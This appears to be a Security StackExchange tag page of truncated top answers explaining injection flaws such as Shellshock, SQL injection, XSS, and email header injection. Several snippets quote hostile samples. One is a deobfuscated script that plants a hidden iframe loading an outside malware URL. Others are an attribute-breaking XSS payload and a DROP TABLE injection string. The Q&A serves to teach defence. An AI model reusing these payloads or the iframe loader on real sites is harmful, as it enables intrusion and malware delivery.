36

This is targeting the Shellshock bug (which even has its own tag): GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi ...


35

Yes. Serving advertising is opening yourself up to attacks from the marketing company, or any of their middleman, etc. There are two ways you can serve advertisements. One way is to put the advertisement in an IFRAME. The second is to include it inline, via SCRIPT SRC=. An iframed advertisement is safer: it is walled away from the rest of your page by ...


34

Answering your question mysql_query() doesn't support multiple queries as documented: mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier. Which means that DROP TABLE temp; -- is never executed. It is although possible if you use ...


32

Dropdown lists are an HTML/UI construct. There isn't any such concept in HTTP, which is how the client and the server ultimately talk to one another. So, while yes, a client could alter the page, that isn't absolutely required, because there doesn't actually need to be a page. In the end a client simply sends an HTTP request back to the server and it ...


31

There must be some security hole in the application. Think like any very-simple-and-common .txt file: if you open it with an hex viewer, or with a well-designed textpad editor, it should only display the file content, and ok. Then think about of processing the file, somehow, instead of just showing the contents. For example, reading the file and ...


23

The first (in bold) code is actually this: Decoded with deobfuscatejavascript.com (function() { var pzt = document.createElement('iframe'); pzt.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php'; pzt.style.position = 'absolute'; pzt.style.border = '0'; pzt.style.height = '1px'; pzt.style.width = '1px'; pzt.style.left = '1px'...


22

It is very common to do this. As you've noticed, there is a significant benefit for keeping code simple. If you do have an SQL injection vulnerability, an attacker can figure out your database structure using INFORMATION_SCHEMA. So hiding your database structure doesn't help you a great deal. Another concern in this area is Mass assignment vulnerabilities. ...


18

Oh yes it is! Consider this HTML: <a href="{{str}}"> and consider an input like: " onmouseover="alert('GOTCHA')" You get the picture. If your javascript is being injected within a tag then you don't need the angle brackets. I borrowed this off this similar S/O post: https://stackoverflow.com/questions/5696244/xss-is-escaping-and-sufficient ...


18

Actually according to OWASP, SQL Injection is on top of the top 10 Vulnerabilities through Web applications. https://www.owasp.org/index.php/Top_10_2013-Top_10 and there are many papers, article, news about concerns in this subject and every day there is a news about SQL injection attack against famous web applications such as for example Joomla,Wordpress ...


16

There are two ways for a piece of code to be executed: intentionally and unintentionally. Intentional execution is when a file is read by an application and the application does something based on whatever the file says. Reading the file is called parsing the file. Unintentional execution is when the parser reads something it shouldn't, and instead of ...


16

Yes, log file injection can be useful in the exploitation process. For example, here is an exploit that uses a PHP Local File Include vulnerability to execute PHP code within Apache's access_log file. This exploit pattern is common in the LAMP world. Most systems lack protection against this attack pattern. Usually log files are protected by the ...


15

This is a major problem when proving auditability, as IT folks tend to have access to servers and theoretically could alter logs. A common solution is to write logs to somewhere inaccessible to IT/Sysadmins etc in addition to the core syslog servers, for example offsite or to a WORM drive (Write Once - Read Many) This allows you to use your normal syslog ...


15

Short answer: It's damn vulnerable. Why? You are concatenating the values given by POST which come directly from what the user typed. Therefore, it is very simple to manipulate your query. Also, you are using mysql extension which is deprecated. You should be using mysqli or PDO to create prepared statements to protect against injection. Here's a question ...


15

The malware in question is hosted elsewhere, and is (probably) being added by cross-site-scripting (XSS). If you have a look at the "var src" part, you'll see a long string of Base64-encoded text: ...


14

No, it's not possible to inject serverside code just via echoing CGI parameters. But as you say, it allows for a reflected XSS attack. On the other hand, it's possible there may be other vulnerabilities in the code you did not include in your question.


14

The common inherent possible security issues from adding Unicode support (not specific to UTF-8) come from the increased potential for visual spoofing, and issues coming from normalization mismatches. Visual spoofing: say you have a forum with a user named "admin" that everyone knows to trust. Someone else could register a user account named "аdmin" (the ...


13

You are providing a list to sanitize, which includes drop, create, exec,... But if you only need "SELECT" access, it would be easier to just take away the rights the user who's executing the queries doesn't need. (least-privileged rather than all privileged ) If I were you I would define stored procedures because they are quite injection foolproof. Should ...


13

Yes, absolutely, there are other ways to do code injection. For instance, a malicious app can execute native code directly, and that doesn't require any class loader. More generally, in the Android security model, the only security boundary is at the process level (not at the JVM level). So, nothing in Android prevents code injection into a process that ...


13

Cross-site scripting is cross-site scripting -- the difference between DOM/persistent/reflected is only in how the attack is done (and prevented). The threat is the same -- an attacker somehow has injected malicious javascript into pages that they shouldn't be able to control, usually due to vulnerabilities in the design of the website. Take the example ...


13

As a penetration tester I have found that "Request Validation" fails in a number of situations. Developers tend to believe that "Request Validation" == "magic", and it protects them completely from XSS, when in fact this false sense of security results in in very serious problems. All forms of DOM based XSS and Persistent XSS will bypass "Request ...


12

Depending on how your application creates the actual RAW email request, it may be possible to insert line feeds to modify the recipients, CC, BCC etc. Check out this example: In this context, the target is to be able to send anonymous emails to other recipients. There are numerous additional fields that can be specified in the mail headers (see [ RFC ...


12

LDAP, by itself, is not secure against active or passive attackers: Data travels "as is", without encryption, so it can be spied upon by passive attackers. Active attackers can manipulate the stream and inject their own requests or modify the responses to yours. At best, basic LDAP may rely on some authentication mechanism (through SASL) which is not ...


12

The $where operator in MongoDB is a feature which is best avoided. Its performance is abysmal, and not just because it doesn't benefit from indexes. Almost every common use-case can be solved much more efficiently with a common find-query or aggregation, especially one as trivial as this. But this is security stackexchange, not stackoverflow, so let's focus ...


11

SQL injections can be performed in any part of the request. Any parameter of the HTTP request can hold SQL data that can trick the application into injecting it into the database. For example, Amazon has the product IDs in the URL http://www.amazon.com/gp/product/B008GFRB9E This is called an URL rewrite and the webserver extracts the product id from the URL ...


10

It might be that the function you use in PHP does not allow stacked queries or because the user which is configured to perform the queries does not have drop table privileges. I suggest you log all the output and exceptions thrown by the application. It could give a clue where your problem lies. EDIT 1: Instead of executing the query, print it to the screen....


10

JavaSnoop is a tool for exploiting vulnerabilities such as CWE-602: Client-Side Enforcement Of Server-Side Security. Even thick clients cannot be trusted, and if a distributed system exposes sensitive functions to thick clients, then that is a vulnerability. There is no point in defending against "JavaSnoop" or even "Firebug" or "burp", these are just ...


10

You write this: $sql = "SELECT id_user, name FROM 'TAB_USER' WHERE user = '$username' ^^^^^^^^^ SQL injection is here The bad guy will send as "username" something which will, after replacement, make your SQL command look like this: SELECT ...


9

In principle HTTP headers are ISO-8859-1 according to RFC 2616. In practice non-ASCII content in HTTP headers will be in a different encoding depending on the browser (and for IE also locale), but always an ASCII superset. Consequently CR and LF would invariably be encoded as 0x0D and 0x0A so there shouldn't be anything to worry about if you are replacing ...


9

The backdoor that you are describing can be installed if you have code execution on the ATM. This research, as well as methods of obtaining code execution on an ATM where pioneered by Barnaby Jack and are detailed in his BlackHat (and defcon) 2010 Jackpotting ATMs talk.


9

The "777" is octal for local permissions in the Unix sense; this means that the file can be written to by any process on this machine (all users have read and write access to the file). This is local: this is about access rights for process which run on the machine. Someone from the outer world does not have, by default, the possibility to make arbitrary ...


Only top voted, non community-wiki answers of a minimum length are eligible